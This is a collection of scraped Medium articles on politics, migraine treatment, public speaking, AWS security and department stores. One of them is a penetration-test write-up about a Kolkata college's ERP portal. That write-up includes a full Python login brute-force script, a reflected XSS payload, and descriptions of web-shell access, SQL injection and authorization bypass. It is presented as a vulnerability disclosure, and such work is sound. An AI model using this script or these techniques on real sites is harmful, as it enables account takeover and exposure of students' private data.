This legislation would impose a tax on all companies that outsource jobs. The tax would be equal to the amount of savings achieved by outsourcing jobs or 35 percent of its profits, whichever is higher. United Technologies estimated that it would save $65 million a year by moving its jobs in Indiana to Mexico. Under this legislation, the company would be required to pay a tax of no less than $65 million a year.
4. Prohibiting executives from profiting off of the outsourcing of U.S. jobs.
This legislation would prohibit companies that offshore jobs from enriching executives through golden parachutes, stock options, bonuses, or other forms of compensation by imposing stiff tax penalties on this compensation. In addition, companies that outsource jobs overseas would be prevented from buying back its own stock. In 2014, United Technologies gave its former CEO a golden parachute worth over $172 million. Last year, the company’s five highest paid executives made over $50 million. The firm also spent $12 billion to inflate its stock price instead of using that money to invest in new plants and workers. | https://medium.com/senator-bernie-sanders/the-era-of-outsourcing-is-over-a4e72bd8a613 | ['Bernie Sanders'] | 2016-11-28 15:33:48.690000+00:00 | ['Outsourcing', 'Donald Trump', 'Carrier', 'Manufacturing', 'Politics'] |
Hacking into Academic ERP Portal of An Engineering College of Kolkata | A) REMOTE CODE EXECUTION:
We found RCE on the server within 2 minutes by simply fuzzing. The web server was running on an older version(7.0.69) of Tomcat. We started fuzzing for juicy files and folders with the extension “.jsp”. Within 2 minutes of simple fuzzing, a page pops up with a status code of 200 named “info.jsp”.
We used ffuf to fuzz and get the appropriate 200 response. ffuf is a fast web fuzzer written in Go.
Simply opening the link (https://www.website.com/info.jsp) in the browser, we got a pwnshell. We had multiple options to view and manage the server files.
pwnshell
System Administrator of webserver uploaded this shell for testing purpose and was suppose to remove this shell after the testing. Unfortunately, this shell was not removed and the whole server was left vulnerable and compromised easily in seconds.
B) NO RATE LIMITING ON LOGIN FORM:
On the login page, the webserver doesn’t have any type of protection and it was generating a default password of 4 digits for every student associated with the organization. It was very convenient to brute force the login page. If the user didn’t change the default password (which, normally nobody cares about), we can easily get his/her password in less than few mins, because, total no. of combinations of 4 digits numeric passwords is 10000 only. We created a small python script to automate this process. And, we can have access to almost all accounts we know the email for. (Getting someone’s email addresses is not tough though. Please check the EMAIL DISCLOSURE OF STUDENTS section.)
#!usr/bin/env python3 import requests
import threading
import queue
import os
import time
import re username = input(“Enter the enrollment number of the user: “)
user_thread = input(“Enter the no. of threads you want to use
~should be less than 100 for better performance}: “)
start_time = time.time() password_list= open(‘password.txt’,’r’).readlines()
#Creating a queue
q=queue.Queue()
for password in password_list:
q.put(password) target_url = “https://www.website.com/i***n/lo******e.jsp?m****=15730e1591c965c5f07acc9184ebbfc24570a448225f8f574b14259f785ccbb0"
target_post= “https://www.website.com/i***n/login.jsp"
#r = requests.get(target_url) class WorkerThread(threading.Thread):
def __init__(self, tid):
threading.Thread.__init__(self)
self.tid = tid
self.username = username def run(self):
while True and not q.empty():
passwd = q.get()
print(“[-]Trying Username: “ + self.username + “ with password : “ + passwd)
try:
with requests.Session() as session:
#Payload Config here
payload = {‘text1’:self.username, ‘text2’:passwd, ‘mtype’:’student’, ‘submit1’:’Go’}
#Getting post request link here
r = session.get(target_url)
var = re.findall(“\?m****=(.*?)>Institute”, str(r.content))
target_post = “https://www.website.com/i***n/login.jsp" + “?m****=” + var[0]
#print(target_post)
#Sending another request with payload here
response = session.post(target_post, payload)
print(len(response.content))
#Checking for success here
#3497
if len(response.content)>3400:
print(“
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — “)
print(“|[+]Password Found — -> “ + passwd + “ Waiting for other threads to exit…”)
#Time format here
end_time = time.time()
hours, rem = divmod(end_time-start_time, 3600)
minutes, seconds = divmod(rem, 60)
print(“Time Elapsed: {:0>2} hr:{:0>2} min:{:05.2f} sec”.format(int(hours),int(minutes),seconds))
#Writing credential to a file here
print(“[+]Testing Complete…
[+]Writing the credentials to the file…”)
f = open(“credentials.txt”, “a+”)
credential = self.username + “ — — — — — — → “ + passwd
f.write(credential)
f.close()
#Completion of program here
print(“[+]Done Writing.
[+] Exiting…”)
print(“ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -”) os._exit(1) except:
raise
os._exit(1)
#Getting failure in finding password here
print(“
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — “)
print(“[-]Password not found.
Try changing the worlist.
Exiting…”)
end_time = time.time()
hours, rem = divmod(end_time-start_time, 3600)
minutes, seconds = divmod(rem, 60)
print(“Time Elapsed: {:0>2} hr:{:0>2} min:{:05.2f} sec”.format(int(hours),int(minutes),seconds))
print(“ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -”)
os._exit(1) threads = []
for i in range(int(user_thread)):
worker = WorkerThread(i)
worker.setDaemon(True)
threads.append(worker)
worker.start() q.join()
for item in threads:
item.join()
C) PRIVATE INFORMATION DISCLOSURE OF 14821 STUDENTS:
Now we started discovering juicy endpoints from sources like Github, reading js files, from AlienVault’s Open Threat Exchange, the Wayback Machine, and Common Crawl. There is this great tool called gau, which can make your life easy. We noticed a page that looks suspicious named https://www.website.com/i***n/ae*****.jsp. When we visited that page, it redirected us to the login page. To bypass that 301 redirects, we first captured a valid cookie that is authenticated to the student. We used our own credentials to get a valid cookie, though any credential through brute force was valid. After visiting the page with that authenticated cookie, the server accepted our request gracefully and served the page. We crawled here and there manually to get the details of all the students, faculties and alumni. (Data can’t be disclosed, so we are just sharing the cropped PoC.)
This page can be used to defame the organization by sending abusive mail to
the guardian’s mail of any student on behalf of that organization, and the page was also disclosing confidential information of 14821 students.
The main issue here was the difference between authentication and authorization. I won’t go into details but for clearance, Authentication is who you are, and Authorization is what you can do. Since we were authenticated to the server as a student but a student must not be supposed to access the admin page at any cost except admin, the server was lacking authorization logic implementation, thus was vulnerable.
D) SQL INJECTION:
We discovered another page named a***_al***.jsp We used the same technique mentioned above to bypass the authentication. Since, as the name suggests, the alumni page must not access by a student. There was a form that was taking profile details of alumni as input. We tried to inject a basic payload to check for any SQL injection vulnerability `’` and the server throws an error confirming the vulnerability.
With this vulnerability, we were able to dump the whole database. This can be done using sqlmap very easily. (We can’t disclose that information.)
E) ACCESS TO THE ADMINISTRATOR PAGE
There was an admin page named adm***.jsp Abusing the authorization logic, in the same way, discussed above, we were represented with the admin page.
Admin page
We were able to select and view details of any Faculty from the organization and even create new account of duplicate Faculty Members.
Edit Attendance
We were able to modify attendance in any way we wanted.
EXAM QUESTIONS
We were able to create question papers and solutions for any subject we wanted.
F) REFLECTED XSS
While crawling the site, we came across a page named
https://www.website.com/i***n/loginC*******.jsp. We fuzzed the link
for the known parameter. After 10 min, we identified a valid parameter
“schname” which was vulnerable to reflected cross-site scripting
attack. We used a custom payload attached below here : https://www.website.com/i***n/loginC********.jsp?schname=<payload>
https://www.website.com/i***n/loginC********.jsp?schname=”><script>alert(0)</script>
G) EMAIL DISCLOSURE OF STUDENTS.
In the forgot password functionality of website.com, once, we click
the forgot button, the server was asking for an enrollment number. Since the enrollment number is very predictable and are in sequence, we were able to disclose the email address of any user. We can fetch the email addresses of students easily by using burp intruder or using a simple python script. It was
suggested to disclose only 4 starting and ending letters of email in
the response. | https://medium.com/@rahul406/hacking-into-academic-erp-portal-of-an-engineering-college-of-kolkata-41d3634941ef | ['Rahul Kumar'] | 2020-12-25 05:48:23.746000+00:00 | ['Hacking', 'Organization', 'Cybersecurity', 'College', 'Pentesting'] |
My Never-Ending Migraine | My Never-Ending Migraine
Finding effective treatments for migraines is its own headache
Credit: smartboy10/DigitalVision Vectors/Getty
I was somewhere between my midtown Manhattan office and the subway station on Broadway when I first noticed the pain. The left side of my head felt like it was hit by a mallet — not the kind you might use in croquet, but a wood-and-iron giant hammer Thor-type thing. The pain nearly knocked me off my feet. Suddenly, the mild summer day was stifling. My dress stuck to me; my bra itched and chafed; my sandals were rubbing my heels raw. I began to see fleeting spots that I would later learn was an aura, a signal that a headache is coming.
I ditched my lunch plans and booked it back to my apartment. I lay down on my futon sofa in the living room with a huge glass of water, some tissues, Advil, Benadryl, and a rerun of Law & Order. But the pain spread, and the sensation was changing. The vocabulary to describe my symptoms would come later, when a series of neurologists would teach me the various words to describe a strain of pain: imploding, exploding, throbbing, stabbing, pulsing, and aching. I’d be introduced to the ubiquitous pain scale: a series of emoji-like faces that start out pain-free (level one) and move to contorted agony (level 10).
That’s how it started 16 years ago, and in a sense, that headache has never ended: My migraines usually last for days, sometimes for weeks or months. During a good stretch, I average around five per week.
A migraine is a particularly cruel kind of headache, and it’s relatively common: In the United States, more than 38 million people suffer from them, and 70 percent are women. Some studies estimate that up to 3 million people suffer from chronic migraines, like I do.
Migraines are maddeningly different for every person, and sufferers like me often cycle through a laundry list of drugs that either prevent migraines, called preventatives, or stop an attack, called abortives. Over the past decade and change, I’ve seen 10 neurologists and tried many preventives, all of which were prescribed to me off-label, meaning they’re not specifically meant to treat migraines but have been shown to work for some people.
Pain makes your world very small and unpredictable.
Currently, I take Keppra, an anti-seizure drug with the odd side effect of undifferentiated rage; Namenda, used for dementia; Lisinopril, a high blood pressure medication; and Zyprexa, an antipsychotic often used to treat bipolar disorder. I get Botox every three months as a series of 20 or so small injections that numb the nerve endings in my head. I’ve also tried multiple nerve blocks, a treatment where the major nerves in the head are injected with a numbing agent. Those injections hurt so exquisitely that I sobbed the first few times I got them. Right now I’m exploring a procedure called radiofrequency ablation, where doctors use electric stimulation to try to reset the major pain-causing nerves.
I’ve also tried a long list of abortives without success. These mostly belong to a class of drug called triptans, which were developed in the 1990s and are used exclusively to abort migraines. Triptans are serotonin receptor agonists, so they work on the same brain chemicals as certain antidepressants, and if you take both — which I did and still do — you have to watch out for a nasty condition called serotonin storm, the result of excessive activity in the brain. Symptoms include agitation, twitching, shivering, and sweating.
Sometimes I get an infusion at my neurologist’s office of ergotamine, or DHE. Inpatient treatment for migraines in hospitals consists primarily of intravenous DHE every eight hours for four to seven days. It’s by no means a simple solution, but it has a special place in my heart after a week of IV treatments at a hospital helped partially quell a devastating eight-month headache in 2013. I left the hospital with my headache slightly better but still unbearable. Desperate for a better solution—my current neurologist no longer knew what to do—I went to another doctor, who put me on the pill form of ergotamine, called methergine, which finally broke the mega-headache of 2013.
But the damage was hard to recover from. That mega-headache had started in May, right before my wedding. (I had to get a separate infusion on the day of my bachelorette party.) It forced me to take medical leave from my job, get inpatient treatment, and postpone my honeymoon. I finally got better — as in I could leave my apartment — around December, but I didn’t really feel 100 percent until February of 2014.
When you suffer from migraines, you try to curb your enthusiasm when you hear about a new drug. But in the past year, there’s been a major development: Aimovig. This drug is a monthly injection you do at home and boasts practically no side effects — just constipation and inflammation at the injection site. Rather than spending days to weeks getting pricey injections at a hospital, Aimovig theoretically allows patients to control their preventative care.
Aimovig is considered a novel treatment in that it was developed specifically for migraine prevention. It’s the first FDA-approved drug that blocks the calcitonin gene-related peptide receptor (CGRP-R). When the brain releases CGRP-Rs, they cause inflammation, which results in migraine pain. Studies have shown that the drug can reduce migraine severity by 50 percent.
The drug seems pretty straightforward. What’s still unclear is how migraineurs are supposed to pay for it. The cost of an injection is currently $575, and it’s uncertain if insurance companies will cover it. So far, only Express Scripts has said it will. The bright side is that Aimovig won’t be the only drug acting on CGRP-R receptors for long. Two similar drugs, Ajovy and Emgality, were approved by the FDA in September 2018 and are getting into the hands of patients.
When you suffer from migraines, you try to curb your enthusiasm when you hear about a new drug.
The migraine world is incredibly excited about these drugs because they’re the first developed specifically for migraine pain since triptans 20 years ago and because of clinical trial results. “It’s possibly changing the landscape of the way migraines are treated,” says Rachel Colman, MD, my neurologist at Mount Sinai’s Headache Clinic. “I’m very excited to see how it will go. This feels like a great time to be in migraine care.”
There are few things I wouldn’t do for a 50 percent reduction in migraine days. Right now, I have a migraine of varying intensity every day. While insurers are still considering their coverage plans, the companies making Aimovig are offering people two free doses. They’ve also started a program called Aimovig Ally that reduces the cost for those without coverage or who have insurance providers that have denied coverage. I enrolled in the program to get two free doses of Aimovig and then joined the Ally program. I took the drug in September, October, and November of this year.
Unfortunately, Aimovig hasn’t made a dent in my migraine consistency. I’m now in a six-month headache that started in July 2018. Once the other CRGP-R-acting drugs are on the market, I plan to try them if I can get the drugs for free or at a reduced price. I’m also looking into the getting ketamine infusions, which work on some migraines and have the bonus of alleviating anxiety and depression. I suffer from both, but that’s a whole other flotilla of drugs I’m not going to list. Suffice it to say, I have the nightstand of an 80-year-old woman.
It’s hard not to get discouraged. I spend a lot of time lying in a dark room or zoning out with the TV on if I can handle the noise. I read if I don’t have the aura that screws with my vision. Pain makes your world very small and unpredictable. I’ve gone from being a super-reliable and competent person to someone who cancels things constantly and can barely work, let alone perform the basic tasks of living. I have many days when my migraine is so bad I can’t eat or sleep. Still, I have a neurologist who doggedly keeps looking for treatments that might help me, and I will keep trying every new treatment that I can get my hands on.
My migraines may be trying to ruin my life, but I’m holding on to hope that my circumstances will change. Until then, I continue to alternate between despair that I will never get better and a wish, however fanciful or far-fetched, that one day I will conquer my chronic pain and say goodbye to migraines forever. | https://elemental.medium.com/my-never-ending-migraine-f815c7ece143 | ['Lisa Levy'] | 2019-01-08 14:01:01.103000+00:00 | ['Health', 'Drugs', 'Pain', 'Migraines', 'Treatment'] |
Toastmasters Icebreaker Speech | I officially joined Toastmasters about three weeks ago. For those of you who don’t know, Toastmasters is an organization/support group that teaches public speaking and leadership skills. There are club locations everywhere, so if that is something that sparks your interest, I am sure you can join one near you. Check out https://www.toastmasters.org/ for more information.
Public speaking is something I have always avoided growing up, but over time I have realize the importance of being able to communicate and engage a crowd of people. I’m happy to report I have taken the first step in becoming a competent communicator, which is the first goal in toastmasters. Today, I delivered my first speech, which is the icebreaker speech.
While introducing myself, I wanted to attempt to incorporate humor, engage the audience, and deliver content that is hopefully relatable and motivational. I felt I had to open up and share some of my personal struggle to achieve that, which made me feel really vulnerable. I was hesitant about sharing such things, but in the end, I am glad I did as this process really help me reflect on myself in a different way. Even though I wasn’t sure how people would perceive me or the talk, I decided it was best to just put myself out there. I not only won best speech of the night but had a lot of feedback from people who said they really enjoyed my talk and could connect with me on the topic.
I believe this experience will only lead to better speeches and end with me becoming a better speaker. 😊 I’m archiving this speech for future reads mostly for myself. This will remind me in moments of self-doubt that as I challenge myself, it will get easier over time and will only put me in a position to take on bigger challenges. I can get over any struggle and I should remember how much I have grown since I started. I also want to remind myself how lucky I am to have the opportunities that I do in life, and I need to make sure I’m deserving of them. I’m sharing it here for any readers who may also need a pick me up. Without further adieu, here is my speech:
Good Evening Fellow Toastmasters & Guests,
Today I will be giving my icebreaker speech, which is a chance for me to introduce myself. For those who don’t know, my name is Linda, and like all of you, I am a person made up from my past experiences and I am here today because I am hopeful that this particular experience will make me a better person tomorrow.
I wanted to start by sharing a childhood story that showcased a pivotal event describing a time that illustrates the kind of person I was growing up. Most people experience their character defining moment when they go through some sort of major rejection or failure after putting in a lot of effort for something they really wanted. Well, as I mentioned, that is how I WANTED to start this speech, but as the legendary singer/songwriter Mick Jagger once said, “You can’t always get what you want, but if you try sometimes, you might find, you get what you need.”
So after brainstorming and going through all the memories and moments of my life, I was stumped. I couldn’t think of anything that really stood out, nothing that really tested me or got an interesting reaction out of me.
“Why can’t I think of anything particularly special to share? I definitely made many mistakes that I learned from in my lifetime, ….so what is it?”
After asking myself this, that is when I realize, what my biggest disappointment was and is to this day. The truth is, I never really passionately pursued anything wholeheartedly before. I never really cared to rise above the group, challenged the status quo, or worked hard to get exceptionally good at any one thing. I always was the kind of person that did what was as expected and enough to get by. I never really cared for more than that, until not too long ago.
Growing up with an immigrant mother from a developing country, I was reminded all the time about how privilege I was to be able to go school. How life will be so easy for me, in comparison to hers, if I just pass my classes, so I can finish high school; … and if I finished high school, I could get into college; and if finished college I could get a job… and then BAM! That’s it, the rest of my life is figured out. I don’t how much of that I actually believed, but I somehow must have interpreted that message too literally. For most of my life, I was just waiting for that moment, one day in the far future, after completing all these ‘prerequisites’, to start seriously living and enjoying life. I thought that I would be automatically good at my job, magically have a ton of meaningful relationships, and just be happy. Well, if you haven’t figured it out, that’s not exactly how life goes, or at least it’s not how it went for me.
Fast-forward to today, after getting the college degree and landing my first job in the field that I wanted, I’m now faced with a lot of other challenges in both my professional and personal life. To keep things short, I’ll list all of my shortcomings because… why not?
· I noticed I sometimes lack social skills when trying to build relationships with different types of people, since it wasn’t something I cared much for growing up
· I never really did things for pure joy and currently have a hard time of enjoying and living in the “present” time.
· Given my current role and the fact that I work in a competitive and fast moving industry, doing “just enough” is simply not enough for so many reasons and…
…. who am I kidding, there’s no way I can list all of my shortcoming within the given time period…. so, let’s just say I’m not the person I want to be but this leads me into why I am here.
‘“Remember, the pain of rejection is nothing compared to the pain of regret.” Said by the great Matthew Hussey, who is a dating coach I follow on Youtube. Even though in this quote he is referring to the pursuit of your love interest, I feel it also applies to life in general.
What this quote means to me is that even though I’m a bit of a late bloomer in realizing what I lacked focus on and that I ignored some of the more important building blocks of developing into the well-balanced person that I want to be.…it’s never too late to work on it.
I want to have better communication skills; I want to take on more initiatives; I want to have more my self-discipline; I want to overcome challenges and see myself grow from them; I want to make sure I’m persistent and focused.
I want to do more than just enough, and I never want to settle for less than the best I can be. I just want to be proud of the life I’m living, giving it my best shot and enjoying every second of all the ups and downs from here on out.
Given all the things that I want, I decided that I’m going to be a well-known expert in my field, giving talks at conferences around the world and helping businesses and people find solutions to their problems. Even if I don’t ever reach that point, I’d never forgive myself if I didn’t try. So, I decided I want to shoot high, and as long as I know I’m giving it my all and am constantly growing, that would make me pretty happy. So with that, I will end with a quote by writer Avina Celeste.
“There is no set moment in your life that will define you. Every moment is a chance to change your life for better or worse.”
Thanks for reading. Let me know if you have any feedback. | https://medium.com/@lindalam_19262/first-toastmasters-speech-9bd9af4a3d7f | ['Linda Lam'] | 2018-06-10 23:13:05.785000+00:00 | ['Motivational', 'Public Speaking', 'Self Reflection', 'Toastmasters', 'Self Improvement'] |
Republicans dropped Nixon yet support Trump, but why? | Podcast version of this article
We are at an odd cusp of time. A sitting President has been charged under the articles of impeachment of a crime of high severity, using his office to advance his political goals with a foreign country against a political rival. This is far more serious than dissembling about a sexual act and the evidence is damning, yet Republicans and Republican politicians continue to support Donald Trump.
Looking back to the summer of 1974, five decades ago, we saw that the Republicans, when presented with the evidence of Nixon’s crimes, acted with integrity and alacrity. And assessments of the relative severity of the crimes make it clear that Trump’s transgressions are much more serious than Nixon’s as well.
One party, the Democratic Party, is acting in good faith according to the articles of the US Constitution, and in the interest of the USA, its people and good governance, something necessary for the long-term survival of the country. One party, the Republican Party, is almost universally supporting a President convicted of crimes far worse than the ones that they stood against less than 50 years ago, and absurdly removed from those that they considered Bill Clinton guilty of.
What has led the Republican Party to this sorry state?
Arguably, the dissolution of the GOP started with the President that they impeached. Nixon inherited a decent party which he started on the path which led to today’s shambling, often evil mess. But the party hadn’t died the death of a thousand cuts in his day.
What was the first cut? The Southern Strategy. Nixon leaned into that intentionally racist sweeping up of Dixiecrat voters who were incensed by black people being given equal rights.
That also scooped a lot of white evangelicals, which led to the Moral Majority era of the 1980s, when the formal alignment of the Republicans with Young Earth Creationists, anti-abortionists and anti-evolutionists was cemented.
There are times when describing something as a slippery slope is a logical fallacy. There are other times when there’s an obvious and steep grade coated with ice and someone pushing something down it. The Republicans were on a slippery slope and intentionally heading down it. Those two strong wedges of irrational and often hateful thought led to more of the same.
That made Republican voters highly susceptible to Murdoch’s Fox News, a conservative entertainment and propaganda outlet modeled after CNN to give it the appearance of being informative. Its primary talking heads reflect the ignorance of their viewers and layer on regular demonization of the other, whether the other is blacks, immigrants, Hillary Clinton or Democrats. Divergence from reality among Republican voters and Republican politicians was rewarded in the short term with re-election, a Pyrrhic victory as is becoming clear.
About 20 years ago, they decided that the next irrational wedge that they could lock into voting for them were the climate change deniers, so in addition to all of the other irrationality and hatred, they leaned into denying even more reality. They were rewarded with the vast majority of fossil fuel political funding, another Pyrrhic defeat as the planet heats untenably and the industry faces its inevitable decline.
Now we see Republican politicians pandering to anti-vaxxers, and anti-vaccination on the rise among conservative voters. A non-empirical, life-ending, health-harming conspiracy theory that used to be evenly spread across the political divide is now clearly more prevalent on the right. Trump has tweeted anti-vaxx views. Five 2018 GOP gubernatorial candidates were openly anti-vaxx, and two were elected. Oregon state legislature Republican representatives brought forward anti-vaxx legislation written by an anti-vaxx organization, a few months before they left the state en masse to prevent a vote on climate action. Studies and research show vaccination avoidance much more strongly among Republican voters than Democratic voters as children die of diseases long dismissed from awareness.
52% of Flat Earthers in YouGov polling identify as deeply religious, which in the USA mostly means Young Earth Creationists, evangelicals and Republican voters.
This is the party that Trump hijacked. One that Nixon started on the decades long path to being the party of irrational wedges and received opinions. Now Republican politicians are stuck between voters that they’ve been complicit in making more ignorant and polarized, and trying to govern a great country. Trump exploited that. He loves the poorly educated, and says so brazenly. He exploited them his entire career. From WWE to his reality show to the unending row of people he entered into contracts with to the students at Trump U, he’s conned the gullible out of their money for decades.
And now Republican politicians that centrists and those on the left could disagree with but admire no longer exist. The Republican Party, which used to be a reasonable center-right alternative to the center-left Democratic Party, is an unreasonable day drinking racist uncle who used to fix tractors and so is an intransigent expert on everything.
If they break with Trump, they lose the next election. If they stick with Trump, they lose yet another pound of their self-respect, if any still exists. They are tidally locked to being politicians, for their own reasons, likely the lack of sufficient lobbying jobs for them to make a graceful exit. And the base that they are locked to is dwindling, not increasing. Flight is to urban liberal areas from rural conservative areas, and people become liberal in cities through exposure to diversity and knowledge. Conservative Boomers are dying. Religion is in decline. Millennials are not returning to the churches that they often never entered in the first place. The NRA is dissolving from venal profit-taking by its executives, ties to Moscow and the dwindling number of fire arm owners.
Nixon was contained by a party which still had integrity despite his early efforts, but his efforts led, through many other culpable leaders, to Trump having no opposition from within the shell of the party he burrowed into like a vulture on a rotting corpse.
Those of us outside of the USA hope that the country will return to its senses, that actual conservatives will take back their party or form a new one from its ashes, that conservatives will return to the table with more conservative solutions and leadership for 21st Century and global problems. But we aren’t holding our breath. 50 years of accelerating down an icy slope is not halted and reversed swiftly. | https://medium.com/the-future-is-electric/republicans-dropped-nixon-but-support-trump-but-why-de4fe0469262 | ['Michael Barnard'] | 2020-01-03 22:17:19.562000+00:00 | ['Impeachment', 'Richard Nixon', 'Politics', 'Donald Trump', 'United States'] |
The LGBTQ+ Community’s Rights are Protected under Biden, But the Future Is Uncertain | (Source: Mercedes Mehling)
A large canvas banner in support of the Gender-Sexuality Alliance Club (GSA) hangs on the wall in James Caldwell High School in Caldwell, New Jersey. The banner is adorned with messages of acceptance and love — it helps to create an environment where LGBTQ+ students and their allies feel safe, where their concerns feel heard and where their voices feel empowered. For me, it’s a reminder that even as the battle for LGBTQ+ rights continues to rage on, students at JCHS will not be caught in the crossfire, but students felt their freedoms were at stake.
Jackie Li, co-president of the GSA club, views Trump’s current leadership as destructive. As a member of the LGBTQ+ club, she genuinely worries about her own safety. “Having a man who is so openly homophobic and transphobic [sends] a huge message — that the majority of Americans have no trouble overlooking the endangerment of LGBTQ+ people.”
Li points out the hypocrisy of Trump, who “says ‘I support gay people’ while stripping trans people of the rights they’ve fought so hard to earn, appointing openly homophobic people like Amy Coney Barrett to positions of power,” and more. Even though Trump has not been completely open about his anti-LGBTQ+ views, his actions are enough to terrify her.
Our school might have acceptance posters and “safe space” stickers plastered everywhere, but it doesn’t work like a magic wand; it doesn’t wave away homophobia, transphobia and the overall prejudice against the LGBTQ+ community that has been ingrained in our everyday lives. “In Caldwell, I’ve heard people in my study hall openly say that trans people have a mental disorder,” Jackie said. “A teacher in the room overheard our conversation and turned a blind eye — funny behavior for a school that preaches acceptance.”
While this instance may not be directly related to Trump himself, Li points out that people are much more willing to share their hurtful beliefs if they believe they’re condoned by others, including the president himself. According to a report from the Southern Poverty Law Center, “Anti-LGBTQ groups have become intertwined with the Trump administration, and — after years of civil rights progress and growing acceptance among the broader American public — anti-LGBTQ sentiment within the Republican Party is rising.” In fact, “groups that vilify the LGBTQ community represented the fastest-growing sector among hate groups in 2019,” the report states.
Bigotry isn’t always intentional, and Li adds that it can often be quite “unthinking,” whether in the form of “tossing the f-slur into daily conversation or making the (overused) joke that they identify as a helicopter,” a mockery of people who aren’t cisgender.
Biden’s LGBTQ+ record isn’t perfect, but Jackie says she’d “rather have someone in office who at least acknowledges members of the LGBTQ+ community over a man who discriminates against and limits them any day.”
During the four years of President Trump’s presidency, he has made every effort to call the worth of the LGBTQ+ community into question. In the first week of his administration, all mentions of LGBTQ+ rights vanished from the White House website. Less than a month later, the U.S. Department of Justice announced “that it will no longer challenge a nationwide hold on protections for transgender students,” revoking legislation on transgender rights passed under the Obama administration. Since then, U.S. embassies have been prohibited from flying rainbow flags during Pride Month, transgender people have been banned from serving in the military and anti-LGBTQ+ judges have been appointed to every level of the judicial system, including Supreme Court Justices Gorsuch and Kavanaugh.
Thankfully, it seems that this era will come to a close with the Biden presidency, but the close race of the election is a reminder that hard-won rights can easily be lost. The LGBTQ+ community and its allies must continue fighting for equality, within and beyond elections, to truly protect their freedoms. | https://medium.com/student-voice/the-lgbtq-communitys-rights-are-protected-under-biden-but-the-future-is-uncertain-7643c6c99f0f | ['Cindy Chen'] | 2020-11-24 01:33:29.667000+00:00 | ['Education', 'LGBTQ', 'Elections', 'Civil Rights'] |
Layered security in AWS — Introduction | Photo by Deleece Cook on Unsplash
Success to a good cloud platform is based on solid security foundation that it is built upon. Securing a cloud environment is a vast domain. Broadly we can break the AWS security posture in four areas.
Account Level Security — SCP, whitelist whether an AWS Service can be consumed in a account(s).
Service Level Security — Whitelisted Service APIs that can be consumed by a BAU principal. How service can interact with each other i.e. Service linked role.
Resource Level Security — What resource of whitelisted services can be used. resource/bucket/queue policy etc.
Application Level Security — Privilege given to application that is inside the resource can be some code running inside EC2 or a container or a application inside Beanstalk or EMR.
Let us walk through a simple example to demonstrate how we can build a layered security architecture. In our example we have an EC2 that will be reading and writing to an S3 bucket.
At the outset it looks very simple and straightforward. Lest look the same from an AWS security constructs point of view.
In the above image I have added labels to security related objects. We will discuss it one by one.
Instance Role (IAM)— This role is is assigned to the EC2 instance. This role contains all the access that the instance needs. Here it has access to S3 and KMS. Now the important thing that need to be highlighted that since this role is for EC2 we should restrict its use to within VPC or via endpoints. This ensures that if some how anyone gets hold of the EC2 credentials from lets say instance metadata and try to use it outside of VPC then that will be denied. To do so we add following policy to the role.
Note: I have added viaService condition in KMS policy statement, this is to make sure s3 is able to call KMS. If KMS is being called by S3 service itself at that time the request won’t go through endpoint (its a S3 service calling KMS both are not bounded in VPC).
2. KMS Policy (resource policy)— Its a good practice to separate responsibility by moving KMS key creation to a separate account and then delegate access to the target account for consumption. KMS key policy delegates key usage to the account and in turn to the IAM role that the instance is using. This way the key has a different lifecycle control(creation and deletion access is in KMS key account ) and can be taken care by separately. Usage is delegated and on on need basis.
3. S3 VPC endpoint & Endpoint Policy— This is being used by EC2 instance in private subnet. This ensures traffic never leave AWS network. Policy on the endpoint ensures that EC2 can only read and write from S3 bucket using the same accounts access point.
4. VPC Access points — This ensures that buckets are only accessed if the request is coming from VPC as we have created the access point with Network Access Type set to VPC. One thing interesting in this is, access point contains region and account id. This is useful as in S3 bucket ARN we don’t get Account Id so it becomes a slight challenging in restricting access from buckets in specific account.
5. Bucket Policy — This policy locks down the bucket access to a specific VPC. This ensures that no resource outside of VPC can access contents of the bucket.
0. SCP — Yes you read it correct I mentioned it as zero. This is coz the SCP allows us to control the boundary or context under which the resources like Access points, S3 bucket and other resources are created.
This was a very basic example where we put in place security mechanism at resource, service and account level. Also we only discussed Policy level controls network level security will be discussed in another post.
Happy Security!! | https://medium.com/the-innovation/layered-security-in-aws-introduction-a27641af198d | ['Amit Singh Rathore'] | 2020-11-13 19:04:43.643000+00:00 | ['AWS', 'Security', 'S3', 'Cloud'] |
There’s Nothing Wrong With a Good Old Department Store | There was a large Christmas tree full of color and light, racks of beautiful dresses, makeup being applied amongst a sea of color and mirrors, and… oh the shoes. I was mesmerized by the bustling activity and friendly strangers delivering shoe after shoe for my mother to try-on. It was the early 2000s in Hong Kong during the holiday season at Lane Crawford. If someone had told me that my fascination with stores and retail would continue to today, I quite honestly would probably have believed them. But, a lot has changed since then. The term ‘department store’ has lost the glamour that younger me once admired.
In the mid 19th century, Crystal Palace opened in Hyde Park in England. It featured 300,000 panes of plate glass and a large varietal display of consumer goods from around the world. Millions of people went to window shop, in awe of the products brought to light by the new industrial world. It wasn’t long after that the American famed Macy’s opened in 1902.
A big mogul of the time by the name of Harry Gordon Selfridge, rose in ranks at Marshall Field’s in Chicago. He then brought his expertise over to the UK, where he opened Selfridges; a store that went beyond stocking shelves and focused on the shopping experience. It was the beginning of fixed-prices and the start of the ‘mixed-use retail experience’. Every department store had unique offerings; restaurants, libraries, reading rooms, child-care services, mail rooms and more. They were a place to socialize and to be entertained. As the New York Times describes the historic department store collective, “together, they elevated even the most mundane purchase to the level of so-called experience and entertainment, concepts discussed today as a breakthrough in retail thinking.” What department stores once embodied, is exactly what the retail industry today is identifying as the future.
Trending GoBeyond.ai articles:
There is nothing wrong with department stores. There is something wrong with the neglect for experience.
Research by Retail Dive shows more than 1,000 department stores will close between now and 2023, reducing the total footprint by one fifth. We got carried away. The amount of revenue a large department store generated at its prime would have been quite incredible for a single store in its time. We got greedy. We built and built, and built some more. Yet while bricks were being laid, there were recessions, wars, and then we were bombed with the internet. It facilitated both online shopping and something that had never yet been possible — the ability to change prices in real-time. A sale was no longer once a year where staff had to run around re-tagging items. Prices were dropped in a click, and sales would skyrocket.
Sales in-store then became the only way to compete with online retail. But it took a lot more staffing to launch in-store sales, and ultimately they couldn’t keep up. As the convenience of online shopping sucked away store revenue, it became more and more difficult to recover. So rather than innovate and go after more sales, the stores cut costs. Instantly, lower quality designs, products, and experiences were evident.
